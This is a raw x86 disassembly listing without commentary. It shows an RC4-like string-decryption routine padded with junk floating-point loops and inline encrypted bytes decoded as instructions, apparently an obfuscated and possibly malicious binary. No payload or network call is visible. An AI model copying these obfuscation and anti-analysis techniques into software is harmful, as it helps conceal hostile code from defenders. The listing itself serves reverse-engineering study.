mov edx, dword [ebp - 0x3c84]
or edx, dword [ebp - 0x3c80]
mov dword [ebp - 0x3c7c], edx
mov byte [ebp - 0x32fa], 0
mov al, byte [ebp - 0x3c7c]
mov byte [ebp - 0x32fa], al
mov byte [ebp - 0x32fc], 0
movzx ecx, byte [ebp - 0x32c7]
mov dl, byte [ebp + ecx - 0x5d38]
mov byte [ebp - 0x32fc], dl
movzx eax, byte [ebp - 0x3289]
movzx ecx, byte [ebp + eax - 0x5d38]
movzx edx, byte [ebp - 0x32a5]
add edx, ecx
mov byte [ebp - 0x32a5], dl
mov al, byte [ebp - 0x3289]
add al, 1
mov byte [ebp - 0x3289], al
movzx ecx, byte [ebp - 0x32a5]
movzx edx, byte [ebp - 0x32c7]
mov al, byte [ebp + ecx - 0x5d38]
mov byte [ebp + edx - 0x5d38], al
movzx ecx, byte [ebp - 0x32a4]
movzx edx, byte [ebp - 0x32a5]
mov al, byte [ebp + ecx - 0x5d38]
mov byte [ebp + edx - 0x5d38], al
movzx ecx, byte [ebp - 0x3289]
movzx edx, byte [ebp - 0x32a4]
mov al, byte [ebp + ecx - 0x5d38]
mov byte [ebp + edx - 0x5d38], al
movzx ecx, byte [ebp - 0x3289]
mov dl, byte [ebp - 0x32fc]
mov byte [ebp + ecx - 0x5d38], dl
movzx eax, byte [ebp - 0x32fc]
movzx ecx, byte [ebp + eax - 0x5d38]
movzx edx, byte [ebp - 0x32fb]
add edx, ecx
mov byte [ebp - 0x32fb], dl
movzx eax, byte [ebp - 0x32fa]
movzx ecx, byte [ebp - 0x32a5]
movzx edx, byte [ebp + ecx - 0x5d38]
movzx ecx, byte [ebp - 0x3289]
movzx ecx, byte [ebp + ecx - 0x5d38]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5d38]
xor eax, edx
movzx ecx, byte [ebp - 0x32a4]
movzx edx, byte [ebp + ecx - 0x5d38]
movzx ecx, byte [ebp - 0x32c7]
movzx ecx, byte [ebp + ecx - 0x5d38]
add edx, ecx
movzx ecx, byte [ebp - 0x32fb]
movzx ecx, byte [ebp + ecx - 0x5d38]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x5d38]
movzx ecx, byte [ebp + edx - 0x5d38]
xor eax, ecx
mov byte [ebp - 0x32a4], al
movss xmm0, dword [0xa6f2a8]
movss dword [ebp - 0x3854], xmm0
movss xmm0, dword [0xa6f200]
movss dword [ebp - 0x3850], xmm0
movss xmm0, dword [0xa6f154]
movss dword [ebp - 0x3858], xmm0
movss xmm0, dword [0xa6f0ac]
movss dword [ebp - 0x3750], xmm0
movss xmm0, dword [0xa6f000]
movss dword [ebp - 0x3624], xmm0
movss xmm0, dword [ebp - 0x3850]
subss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3850], xmm0
movss xmm0, dword [ebp - 0x3850]
addss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3850], xmm0
movss xmm0, dword [ebp - 0x3850]
mulss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3850], xmm0
movss xmm0, dword [ebp - 0x3750]
addss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3750], xmm0
movss xmm0, dword [ebp - 0x3854]
mulss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3854], xmm0
movss xmm0, dword [ebp - 0x3624]
comiss xmm0, dword [ebp - 0x3854]
jbe 0x443f73
movss xmm0, dword [ebp - 0x3750]
mulss xmm0, dword [ebp - 0x3854]
movss dword [ebp - 0x3750], xmm0
movss xmm0, dword [ebp - 0x3858]
divss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3858], xmm0
movss xmm0, dword [ebp - 0x3858]
addss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3858], xmm0
movss xmm0, dword [ebp - 0x3850]
subss xmm0, dword [ebp - 0x3750]
movss dword [ebp - 0x3850], xmm0
movss xmm0, dword [ebp - 0x3850]
divss xmm0, dword [ebp - 0x3750]
movss dword [ebp - 0x3850], xmm0
movss xmm0, dword [ebp - 0x3854]
addss xmm0, dword [ebp - 0x3858]
movss dword [ebp - 0x3854], xmm0
movss xmm0, dword [ebp - 0x3854]
mulss xmm0, dword [ebp - 0x3858]
movss dword [ebp - 0x3854], xmm0
movss xmm0, dword [ebp - 0x3850]
mulss xmm0, dword [ebp - 0x3750]
movss dword [ebp - 0x3850], xmm0
movss xmm0, dword [ebp - 0x3750]
subss xmm0, dword [ebp - 0x3854]
movss dword [ebp - 0x3750], xmm0
movss xmm0, dword [ebp - 0x3850]
addss xmm0, dword [ebp - 0x3750]
movss dword [ebp - 0x3850], xmm0
movss xmm0, dword [ebp - 0x3854]
comiss xmm0, dword [ebp - 0x3858]
jbe 0x443ef6
movss xmm0, dword [ebp - 0x3854]
divss xmm0, dword [ebp - 0x3858]
movss dword [ebp - 0x3854], xmm0
movss xmm0, dword [ebp - 0x3624]
divss xmm0, dword [ebp - 0x3850]
movss dword [ebp - 0x3624], xmm0
movss xmm0, dword [ebp - 0x3858]
divss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3858], xmm0
movss xmm0, dword [ebp - 0x3858]
divss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3858], xmm0
movss xmm0, dword [ebp - 0x3624]
divss xmm0, dword [ebp - 0x3850]
movss dword [ebp - 0x3624], xmm0
jmp 0x443f6e
movss xmm0, dword [ebp - 0x3750]
addss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3750], xmm0
movss xmm0, dword [ebp - 0x3858]
mulss xmm0, dword [ebp - 0x3750]
movss dword [ebp - 0x3858], xmm0
movss xmm0, dword [ebp - 0x3854]
addss xmm0, dword [ebp - 0x3850]
movss dword [ebp - 0x3854], xmm0
movss xmm0, dword [ebp - 0x3854]
subss xmm0, dword [ebp - 0x3850]
movss dword [ebp - 0x3854], xmm0
movss xmm0, dword [ebp - 0x3624]
subss xmm0, dword [ebp - 0x3854]
movss dword [ebp - 0x3624], xmm0
jmp 0x443ff7
movss xmm0, dword [ebp - 0x3750]
subss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3750], xmm0
movss xmm0, dword [ebp - 0x3624]
mulss xmm0, dword [ebp - 0x3854]
movss dword [ebp - 0x3624], xmm0
movss xmm0, dword [ebp - 0x3750]
mulss xmm0, dword [ebp - 0x3624]
movss dword [ebp - 0x3750], xmm0
movss xmm0, dword [ebp - 0x3858]
mulss xmm0, dword [ebp - 0x3750]
movss dword [ebp - 0x3858], xmm0
movss xmm0, dword [ebp - 0x3858]
mulss xmm0, dword [ebp - 0x3750]
movss dword [ebp - 0x3858], xmm0
mov dl, byte [ebp - 0x32fa]
mov byte [ebp - 0x32c7], dl
mov al, byte [ebp - 0x32a4]
mov byte [ebp - 0x336a], al
cmp dword [ebp - 0x33a8], 0
jle 0x444022
movsx cx, byte [ebp - 0x336a]
mov edx, dword [ebp - 0x33a8]
mov word [ebp + edx*2 - 0x232], cx
mov eax, dword [ebp - 0x33a8]
add eax, 1
mov dword [ebp - 0x33a8], eax
mov ecx, dword [ebp - 0x36b8]
add ecx, 1
mov dword [ebp - 0x36b8], ecx
mov edx, dword [ebp - 0x33a8]
shl edx, 1
mov dword [ebp - 0x3c8c], edx
mov eax, dword [ebp - 0x3c78]
add eax, dword [ebp - 0x3c8c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3ba0], ecx
mov dword [ebp - 0x3ba4], 0x8e
mov edx, dword [ebp - 0x33a8]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3c88], eax
mov ecx, dword [ebp - 0x3c78]
add ecx, dword [ebp - 0x3c88]
movzx edx, byte [ecx]
mov dword [ebp - 0x3b90], edx
mov dword [ebp - 0x3bb8], 0x2e
mov eax, dword [ebp - 0x3ba0]
sub eax, dword [ebp - 0x3ba4]
mov dword [ebp - 0x3b3c], eax
mov ecx, dword [ebp - 0x3b90]
sub ecx, dword [ebp - 0x3bb8]
mov dword [ebp - 0x3b40], ecx
mov edx, dword [ebp - 0x3b3c]
shl edx, 4
mov dword [ebp - 0x3c84], edx
mov eax, dword [ebp - 0x3b40]
mov dword [ebp - 0x3c80], eax
mov ecx, dword [ebp - 0x3c84]
or ecx, dword [ebp - 0x3c80]
mov dword [ebp - 0x3c7c], ecx
mov dl, byte [ebp - 0x3c7c]
mov byte [ebp - 0x32fa], dl
movzx eax, byte [ebp - 0x32c7]
mov cl, byte [ebp + eax - 0x5d38]
mov byte [ebp - 0x32fc], cl
movzx edx, byte [ebp - 0x3289]
movzx eax, byte [ebp + edx - 0x5d38]
movzx ecx, byte [ebp - 0x32a5]
add ecx, eax
mov byte [ebp - 0x32a5], cl
mov dl, byte [ebp - 0x3289]
add dl, 1
mov byte [ebp - 0x3289], dl
movzx eax, byte [ebp - 0x32a5]
movzx ecx, byte [ebp - 0x32c7]
mov dl, byte [ebp + eax - 0x5d38]
mov byte [ebp + ecx - 0x5d38], dl
movzx eax, byte [ebp - 0x32a4]
movzx ecx, byte [ebp - 0x32a5]
mov dl, byte [ebp + eax - 0x5d38]
mov byte [ebp + ecx - 0x5d38], dl
movzx eax, byte [ebp - 0x3289]
movzx ecx, byte [ebp - 0x32a4]
mov dl, byte [ebp + eax - 0x5d38]
mov byte [ebp + ecx - 0x5d38], dl
movzx eax, byte [ebp - 0x3289]
mov cl, byte [ebp - 0x32fc]
mov byte [ebp + eax - 0x5d38], cl
movzx edx, byte [ebp - 0x32fc]
movzx eax, byte [ebp + edx - 0x5d38]
movzx ecx, byte [ebp - 0x32fb]
add ecx, eax
mov byte [ebp - 0x32fb], cl
movzx edx, byte [ebp - 0x32fa]
movzx eax, byte [ebp - 0x32a5]
movzx ecx, byte [ebp + eax - 0x5d38]
movzx eax, byte [ebp - 0x3289]
movzx eax, byte [ebp + eax - 0x5d38]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5d38]
xor edx, ecx
movzx eax, byte [ebp - 0x32a4]
movzx ecx, byte [ebp + eax - 0x5d38]
movzx eax, byte [ebp - 0x32c7]
movzx eax, byte [ebp + eax - 0x5d38]
add ecx, eax
movzx eax, byte [ebp - 0x32fb]
movzx eax, byte [ebp + eax - 0x5d38]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5d38]
movzx eax, byte [ebp + ecx - 0x5d38]
xor edx, eax
mov byte [ebp - 0x32a4], dl
mov cl, byte [ebp - 0x32fa]
mov byte [ebp - 0x32c7], cl
mov dl, byte [ebp - 0x32a4]
mov byte [ebp - 0x336a], dl
cmp dword [ebp - 0x33a8], 0
jle 0x44427d
movsx ax, byte [ebp - 0x336a]
mov ecx, dword [ebp - 0x33a8]
mov word [ebp + ecx*2 - 0x232], ax
mov edx, dword [ebp - 0x33a8]
add edx, 1
mov dword [ebp - 0x33a8], edx
mov eax, dword [ebp - 0x36b8]
add eax, 1
mov dword [ebp - 0x36b8], eax
mov ecx, dword [ebp - 0x33a8]
shl ecx, 1
mov dword [ebp - 0x3c8c], ecx
mov edx, dword [ebp - 0x3c78]
add edx, dword [ebp - 0x3c8c]
movzx eax, byte [edx]
mov dword [ebp - 0x3ba0], eax
mov dword [ebp - 0x3ba4], 0x8e
mov ecx, dword [ebp - 0x33a8]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3c88], edx
mov eax, dword [ebp - 0x3c78]
add eax, dword [ebp - 0x3c88]
movzx ecx, byte [eax]
mov dword [ebp - 0x3b90], ecx
mov dword [ebp - 0x3bb8], 0x2e
mov edx, dword [ebp - 0x3ba0]
sub edx, dword [ebp - 0x3ba4]
mov dword [ebp - 0x3b3c], edx
mov eax, dword [ebp - 0x3b90]
sub eax, dword [ebp - 0x3bb8]
mov dword [ebp - 0x3b40], eax
mov ecx, dword [ebp - 0x3b3c]
shl ecx, 4
mov dword [ebp - 0x3c84], ecx
mov edx, dword [ebp - 0x3b40]
mov dword [ebp - 0x3c80], edx
mov eax, dword [ebp - 0x3c84]
or eax, dword [ebp - 0x3c80]
mov dword [ebp - 0x3c7c], eax
mov cl, byte [ebp - 0x3c7c]
mov byte [ebp - 0x32fa], cl
movzx edx, byte [ebp - 0x32c7]
mov al, byte [ebp + edx - 0x5d38]
mov byte [ebp - 0x32fc], al
movzx ecx, byte [ebp - 0x3289]
movzx edx, byte [ebp + ecx - 0x5d38]
movzx eax, byte [ebp - 0x32a5]
add eax, edx
mov byte [ebp - 0x32a5], al
mov cl, byte [ebp - 0x3289]
add cl, 1
mov byte [ebp - 0x3289], cl
movzx edx, byte [ebp - 0x32a5]
movzx eax, byte [ebp - 0x32c7]
mov cl, byte [ebp + edx - 0x5d38]
mov byte [ebp + eax - 0x5d38], cl
movzx edx, byte [ebp - 0x32a4]
movzx eax, byte [ebp - 0x32a5]
mov cl, byte [ebp + edx - 0x5d38]
mov byte [ebp + eax - 0x5d38], cl
movzx edx, byte [ebp - 0x3289]
movzx eax, byte [ebp - 0x32a4]
mov cl, byte [ebp + edx - 0x5d38]
mov byte [ebp + eax - 0x5d38], cl
movzx edx, byte [ebp - 0x3289]
mov al, byte [ebp - 0x32fc]
mov byte [ebp + edx - 0x5d38], al
movzx ecx, byte [ebp - 0x32fc]
movzx edx, byte [ebp + ecx - 0x5d38]
movzx eax, byte [ebp - 0x32fb]
add eax, edx
mov byte [ebp - 0x32fb], al
movzx ecx, byte [ebp - 0x32fa]
movzx edx, byte [ebp - 0x32a5]
movzx eax, byte [ebp + edx - 0x5d38]
movzx edx, byte [ebp - 0x3289]
movzx edx, byte [ebp + edx - 0x5d38]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5d38]
xor ecx, eax
movzx edx, byte [ebp - 0x32a4]
movzx eax, byte [ebp + edx - 0x5d38]
movzx edx, byte [ebp - 0x32c7]
movzx edx, byte [ebp + edx - 0x5d38]
add eax, edx
movzx edx, byte [ebp - 0x32fb]
movzx edx, byte [ebp + edx - 0x5d38]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5d38]
movzx edx, byte [ebp + eax - 0x5d38]
xor ecx, edx
mov byte [ebp - 0x32a4], cl
mov al, byte [ebp - 0x32fa]
mov byte [ebp - 0x32c7], al
mov cl, byte [ebp - 0x32a4]
mov byte [ebp - 0x336a], cl
cmp dword [ebp - 0x33a8], 0
jle 0x4444d6
movsx dx, byte [ebp - 0x336a]
mov eax, dword [ebp - 0x33a8]
mov word [ebp + eax*2 - 0x232], dx
mov ecx, dword [ebp - 0x36b8]
add ecx, 8
mov dword [ebp - 0x36b8], ecx
mov edx, dword [ebp - 0x33a8]
add edx, 1
mov dword [ebp - 0x4a98], edx
jmp 0x444505
mov ecx, dword [ebp - 0x4a98]
cmp ecx, dword [ebp - 0x36b8]
jge 0x444767
mov dword [ebp - 0x48d4], 0
jmp 0x445ee9
mov eax, dword [ebp - 0x48d4]
add eax, 1
mov dword [ebp - 0x48d4], eax
cmp dword [ebp - 0x48d4], 0x16
jge 0x445f22
mov ecx, dword [ebp - 0x48d4]
shl ecx, 1
mov dword [ebp - 0x515c], ecx
cmp dword [ebp - 0x515c], 0x2c
jae 0x445f0b
jmp 0x445f10
call fcn.009f1ed7
xor edx, edx
mov eax, dword [ebp - 0x515c]
mov word [ebp + eax - 0x230], dx
jmp 0x445eda
lea ecx, [ebp - 0x230]
mov dword [ebp - 0x4584], ecx
mov edx, dword [ebp - 0x4584]
add edx, 2
mov dword [ebp - 0x5f98], edx
mov eax, dword [ebp - 0x4584]
mov cx, word [eax]
mov word [ebp - 0x4a3a], cx
add dword [ebp - 0x4584], 2
cmp word [ebp - 0x4a3a], 0
jne 0x445f3d
mov edx, dword [ebp - 0x4584]
sub edx, dword [ebp - 0x5f98]
sar edx, 1
mov dword [ebp - 0x5f94], edx
mov eax, dword [ebp - 0x5f94]
lea ecx, [eax + eax + 2]
mov dword [ebp - 0x622c], ecx
push 1
mov edx, dword [ebp - 0x622c]
push edx
lea eax, [ebp - 0x230]
push eax
lea ecx, [ebp - 0x204]
push ecx
lea edx, [ebp - 0x42c]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.00428c10
add esp, 0x18
mov dword [ebp - 0x31f0], 0
mov dword [ebp - 0x31e4], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4784], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46a4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46a4], xmm0
jmp 0x445ffc
movsd xmm0, qword [0xa6e7a0]
comisd xmm0, xmmword [ebp - 0x46a4]
jbe 0x4460ad
movsd xmm0, qword [0xa6e638]
mulsd xmm0, qword [ebp - 0x46a4]
mulsd xmm0, qword [ebp - 0x46a4]
movsd xmm1, qword [ebp - 0x46a4]
mulsd xmm1, qword [ebp - 0x46a4]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e3d0]
mulsd xmm1, qword [ebp - 0x46a4]
mulsd xmm1, qword [ebp - 0x46a4]
addsd xmm1, qword [0xa6e4f8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4784]
movsd qword [ebp - 0x4784], xmm0
movsd xmm0, qword [ebp - 0x4784]
comisd xmm0, xmmword [0xa6e518]
jbe 0x4460a8
movsd xmm0, qword [0xa6e2e0]
mulsd xmm0, qword [ebp - 0x46a4]
movsd xmm1, qword [ebp - 0x4784]
subsd xmm1, xmm0
movsd qword [ebp - 0x4784], xmm1
jmp 0x445fe4
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4784]
jbe 0x44614e
inc ecx
pushfd
inc esi
movsd dword es:[edi], dword [esi]
inc esi
mov al, byte [0xa14e9c4e]
inc edx
sahf
inc ebx
popfd
dec ebx
movsd dword es:[edi], dword [esi]
dec ecx
test al, 0x44
test al, 0x48
wait
dec edx
lcall 0xa14e, 0xa946a743
inc edi
lcall 0x9f4e, 0xa8479c46
inc esp
mov dword [0xa44ca448], eax
inc edx
wait
dec ecx
cmpsd dword [esi], dword es:[edi]
push eax
movsd dword es:[edi], dword [esi]
dec ebp
mov eax, dword [0xa64ca94a]
inc esi
sahf
dec edx
cmpsd dword [esi], dword es:[edi]
inc ecx
sahf
dec ebp
test eax, 0xa74c9b46
inc esi
mov eax, dword [0xa246a743]
dec esi
cmpsb byte [esi], byte es:[edi]
dec edx
lcall 0xa249, 0x9e4e9e4b
dec ecx
test eax, 0xa64f9a50
dec ecx
cmpsb byte [esi], byte es:[edi]
dec eax
sahf
dec ebx
wait
inc esi
mov eax, dword [0x9a469b50]
dec ecx
sahf
inc esi
test al, 0x46
mov dword [0xa845a04c], eax
push eax
mov byte [0xa444a945], al
dec esi
cmpsd dword [esi], dword es:[edi]
dec eax
lcall 0x6c42, 0x526e2840
xor al, byte [esp + 0x31]
jno 0x44618d
mov dword [ebp - 0x31f0], 0x4460be
mov dword [ebp - 0x31e4], 0x446138
mov eax, dword [ebp - 0x31f0]
mov dword [ebp - 0x3e50], eax
mov ecx, dword [ebp - 0x31e4]
mov dword [ebp - 0x5f90], ecx
mov byte [ebp - 0x3fe1], 0x15
mov dword [ebp - 0x385c], 0
jmp 0x44619c
mov byte [ebp - 0x3fd9], 0
push 0x400
push 0
lea ecx, [ebp - 0x3178]
push ecx
call fcn.00a42f20
add esp, 0xc
push 0x1ff
lea edx, [ebp - 0x3178]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
test eax, eax
je 0x44b6ae
mov byte [ebp - 0x3fd9], 1
push 0x400
push 0
lea eax, [ebp - 0x978]
push eax
call fcn.00a42f20
add esp, 0xc
mov dword [ebp - 0x3198], 0
mov dword [ebp - 0x3188], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x479c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46c4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x46c4], xmm0
jmp 0x44b713
movsd xmm0, qword [ebp - 0x46c4]
addsd xmm0, qword [0xa6e350]
movsd qword [ebp - 0x46c4], xmm0
movsd xmm0, qword [0xa6e890]
comisd xmm0, xmmword [ebp - 0x46c4]
jbe 0x44b7c4
movsd xmm0, qword [0xa6e690]
mulsd xmm0, qword [ebp - 0x46c4]
mulsd xmm0, qword [ebp - 0x46c4]
movsd xmm1, qword [ebp - 0x46c4]
mulsd xmm1, qword [ebp - 0x46c4]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e400]
mulsd xmm1, qword [ebp - 0x46c4]
mulsd xmm1, qword [ebp - 0x46c4]
addsd xmm1, qword [0xa6e458]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x479c]
movsd qword [ebp - 0x479c], xmm0
movsd xmm0, qword [ebp - 0x479c]
comisd xmm0, xmmword [0xa6e520]
jbe 0x44b7bf
movsd xmm0, qword [0xa6e320]
mulsd xmm0, qword [ebp - 0x46c4]
movsd xmm1, qword [ebp - 0x479c]
subsd xmm1, xmm0
movsd qword [ebp - 0x479c], xmm1
jmp 0x44b6fb
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x479c]
jbe 0x44b801
int1
mov cl, 0xe8
mov ecx, 0xaff1b8e9
hlt
mov dword [ebp - 0x3198], 0x44b7d1
mov dword [ebp - 0x3188], 0x44b7df
mov ecx, dword [ebp - 0x3198]
mov dword [ebp - 0x3c3c], ecx
mov edx, dword [ebp - 0x3188]
mov dword [ebp - 0x5f6c], edx
mov byte [ebp - 0x3fde], 0x21
mov dword [ebp - 0x3870], 0
jmp 0x44b84f
mov eax, dword [ebp - 0x3870]
add eax, 1
mov dword [ebp - 0x3870], eax
cmp dword [ebp - 0x3870], 0x100
jae 0x44b870
mov ecx, dword [ebp - 0x3870]
mov dl, byte [ebp - 0x3870]
mov byte [ebp + ecx - 0x5e38], dl
jmp 0x44b840
mov dword [ebp - 0x44a0], 0
mov byte [ebp - 0x3359], 0
mov dword [ebp - 0x3870], 0xff
jmp 0x44b89c
mov eax, dword [ebp - 0x3870]
sub eax, 1
mov dword [ebp - 0x3870], eax
cmp dword [ebp - 0x3870], 0
jbe 0x44bb0c
mov dword [ebp - 0x4984], 0
mov dword [ebp - 0x48ac], 1
mov ecx, dword [ebp - 0x48ac]
cmp ecx, dword [ebp - 0x3870]
jae 0x44b8dd
mov edx, dword [ebp - 0x48ac]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x48ac], eax
jmp 0x44b8bd
mov ecx, dword [ebp - 0x44a0]
mov dword [ebp - 0x52b8], ecx
cmp dword [ebp - 0x52b8], 3
ja case.default.0x44b8fc
mov edx, dword [ebp - 0x52b8]
jmp dword [edx*4 + 0x46b5c0]
movzx eax, byte [ebp - 0x3359]
movzx ebx, byte [ebp + eax - 0x5e38]
movsd xmm0, qword [ebp - 0x479c]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x44b9e5
movzx ecx, byte [ebp - 0x3359]
movzx ebx, byte [ebp + ecx - 0x5e38]
movsd xmm0, qword [ebp - 0x479c]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x44b9e5
movzx edx, byte [ebp - 0x3359]
movzx ebx, byte [ebp + edx - 0x5e38]
movsd xmm0, qword [ebp - 0x479c]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x44b9e5
movzx eax, byte [ebp - 0x3359]
movzx ebx, byte [ebp + eax - 0x5e38]
movsd xmm0, qword [ebp - 0x479c]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3359], bl
jmp 0x44b9e5
movzx ecx, byte [ebp - 0x3359]
movzx edx, byte [ebp + ecx - 0x5e38]
mov eax, dword [ebp - 0x5f6c]
add eax, dword [ebp - 0x44a0]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x3359], dl
mov edx, dword [ebp - 0x44a0]
add edx, 1
mov dword [ebp - 0x44a0], edx
movzx eax, byte [ebp - 0x3fde]
cmp dword [ebp - 0x44a0], eax
jb 0x44ba23
mov dword [ebp - 0x44a0], 0
movzx ecx, byte [ebp - 0x3fde]
movzx edx, byte [ebp - 0x3359]
add edx, ecx
mov byte [ebp - 0x3359], dl
movzx eax, byte [ebp - 0x3359]
and eax, dword [ebp - 0x48ac]
mov dword [ebp - 0x4340], eax
mov ecx, dword [ebp - 0x4984]
add ecx, 1
mov dword [ebp - 0x4984], ecx
cmp dword [ebp - 0x4984], 0xb
jbe 0x44ba62
mov eax, dword [ebp - 0x4340]
xor edx, edx
div dword [ebp - 0x3870]
mov dword [ebp - 0x4340], edx
mov edx, dword [ebp - 0x4340]
cmp edx, dword [ebp - 0x3870]
ja 0x44b8dd
mov eax, dword [ebp - 0x3870]
cmp eax, dword [ebp - 0x4340]
je 0x44bb07
mov ecx, dword [ebp - 0x4340]
movzx edx, byte [ebp + ecx - 0x5e38]
mov eax, dword [ebp - 0x3870]
movzx ecx, byte [ebp + eax - 0x5e38]
xor ecx, edx
mov edx, dword [ebp - 0x3870]
mov byte [ebp + edx - 0x5e38], cl
mov eax, dword [ebp - 0x3870]
movzx ecx, byte [ebp + eax - 0x5e38]
mov edx, dword [ebp - 0x4340]
movzx eax, byte [ebp + edx - 0x5e38]
xor eax, ecx
mov ecx, dword [ebp - 0x4340]
mov byte [ebp + ecx - 0x5e38], al
mov edx, dword [ebp - 0x4340]
movzx eax, byte [ebp + edx - 0x5e38]
mov ecx, dword [ebp - 0x3870]
movzx edx, byte [ebp + ecx - 0x5e38]
xor edx, eax
mov eax, dword [ebp - 0x3870]
mov byte [ebp + eax - 0x5e38], dl
jmp 0x44b88d
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x5e38]
mov byte [ebp - 0x328a], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x5e38]
mov byte [ebp - 0x32a3], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x5e38]
mov byte [ebp - 0x32f9], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x5e38]
mov byte [ebp - 0x32a2], dl
movzx eax, byte [ebp - 0x3359]
mov cl, byte [ebp + eax - 0x5e38]
mov byte [ebp - 0x32c9], cl
mov dword [ebp - 0x52b4], 0xe
cmp dword [ebp - 0x52b4], 2
jle 0x44ddc8
mov edx, dword [ebp - 0x52b4]
and edx, 1
jne 0x44ddc8
mov dword [ebp - 0x33b4], 0
mov dword [ebp - 0x39d8], 0
mov eax, dword [ebp - 0x39d8]
add eax, 1
mov dword [ebp - 0x39d8], eax
mov dword [ebp - 0x3c48], 0
mov ecx, dword [ebp - 0x33b4]
shl ecx, 1
mov dword [ebp - 0x3c48], ecx
mov dword [ebp - 0x3b4c], 0
mov edx, dword [ebp - 0x3c3c]
add edx, dword [ebp - 0x3c48]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3b4c]
mov dword [ebp - 0x3b4c], eax
mov dword [ebp - 0x3b50], 0
mov ecx, dword [ebp - 0x3b50]
add ecx, 0xe6
mov dword [ebp - 0x3b50], ecx
mov dword [ebp - 0x3c38], 0
mov edx, dword [ebp - 0x33b4]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3c38], eax
mov dword [ebp - 0x3b54], 0
mov ecx, dword [ebp - 0x3c3c]
add ecx, dword [ebp - 0x3c38]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3b54]
mov dword [ebp - 0x3b54], edx
mov dword [ebp - 0x3b58], 0
mov eax, dword [ebp - 0x3b58]
add eax, 0xae
mov dword [ebp - 0x3b58], eax
mov dword [ebp - 0x3b5c], 0
mov ecx, dword [ebp - 0x3b4c]
sub ecx, dword [ebp - 0x3b50]
add ecx, dword [ebp - 0x3b5c]
mov dword [ebp - 0x3b5c], ecx
mov dword [ebp - 0x3b60], 0
mov edx, dword [ebp - 0x3b54]
sub edx, dword [ebp - 0x3b58]
add edx, dword [ebp - 0x3b60]
mov dword [ebp - 0x3b60], edx
mov dword [ebp - 0x3c34], 0
mov eax, dword [ebp - 0x3b5c]
shl eax, 4
mov dword [ebp - 0x3c34], eax
mov dword [ebp - 0x3c30], 0
mov ecx, dword [ebp - 0x3b60]
mov dword [ebp - 0x3c30], ecx
mov dword [ebp - 0x3c2c], 0
mov edx, dword [ebp - 0x3c34]
or edx, dword [ebp - 0x3c30]
mov dword [ebp - 0x3c2c], edx
mov byte [ebp - 0x32f8], 0
mov al, byte [ebp - 0x3c2c]
mov byte [ebp - 0x32f8], al
mov byte [ebp - 0x32fe], 0
movzx ecx, byte [ebp - 0x32c9]
mov dl, byte [ebp + ecx - 0x5e38]
mov byte [ebp - 0x32fe], dl
movzx eax, byte [ebp - 0x328a]
movzx ecx, byte [ebp + eax - 0x5e38]
movzx edx, byte [ebp - 0x32a3]
add edx, ecx
mov byte [ebp - 0x32a3], dl
mov al, byte [ebp - 0x328a]
add al, 1
mov byte [ebp - 0x328a], al
movzx ecx, byte [ebp - 0x32a3]
movzx edx, byte [ebp - 0x32c9]
mov al, byte [ebp + ecx - 0x5e38]
mov byte [ebp + edx - 0x5e38], al
movzx ecx, byte [ebp - 0x32a2]
movzx edx, byte [ebp - 0x32a3]
mov al, byte [ebp + ecx - 0x5e38]
mov byte [ebp + edx - 0x5e38], al
movzx ecx, byte [ebp - 0x328a]
movzx edx, byte [ebp - 0x32a2]
mov al, byte [ebp + ecx - 0x5e38]
mov byte [ebp + edx - 0x5e38], al
movzx ecx, byte [ebp - 0x328a]
mov dl, byte [ebp - 0x32fe]
mov byte [ebp + ecx - 0x5e38], dl
movzx eax, byte [ebp - 0x32fe]
